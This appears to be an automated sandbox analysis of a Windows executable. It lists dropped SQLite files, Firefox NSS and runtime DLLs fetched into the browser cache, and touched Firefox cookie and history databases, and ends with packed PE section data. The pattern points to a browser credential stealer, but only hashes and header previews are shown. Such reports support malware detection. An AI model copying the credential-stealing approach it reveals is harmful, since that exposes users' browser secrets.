SHA-512:	86FF4292BF8B6433703E4E650B6A4BF12BC203EF4BBBB2BC0EEEA8A3E6CC1967ABF486EEDCE80704D1023C15487CC34B6B319421D73E033D950DBB1724ABADD5
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\IIECFHDB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IJEGDBGD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JKECFCFBGDHIECAAFIID

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: jqLt8WnO6C.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: JuyR4wj8av.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: yAkRyU2LPe.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: EL7ggW7AdA.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: jqLt8WnO6C.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: JuyR4wj8av.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: yAkRyU2LPe.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: EL7ggW7AdA.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.948194481762924
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'842'176 bytes
MD5:	23ea42d8d675a95fba3e793e1c45a89b
SHA1:	e99ffc7ed7e023d6d4b17c8bf68e4d3243883aba
SHA256:	a4d3819a58b33ad21c696173110ef167f2acf68f58a565c6a5bf32954062529a
SHA512:	ad6c8a180de23c32bc96e2c7d211a3bb98ad1fabd48b9589e71c48bbf586b82757635a879f09a41891258af66463041512c5645c8e6248e9175fc7eb7b920fa1
SSDEEP:	49152:Ie23HkL2OL79F4slDfryZjneLqEIrOi54boQ:wZifra6LrYOho
TLSH:	9885336954F05293ED4FE1FA186F4FB08712361EEF8934BF5612366B94AB042B7E3241
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L...J..f...........

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa98000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F99A4A [Sun Sep 29 18:19:54 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F5028DEC08Ah
psubd mm3, qword ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [esi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+00000000h], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add cl, byte ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	ded35097b52d17a737b6360b432a284b	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x29d000	0x200	8dc0a0537dbd1fe2426c8a61f124deb4	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
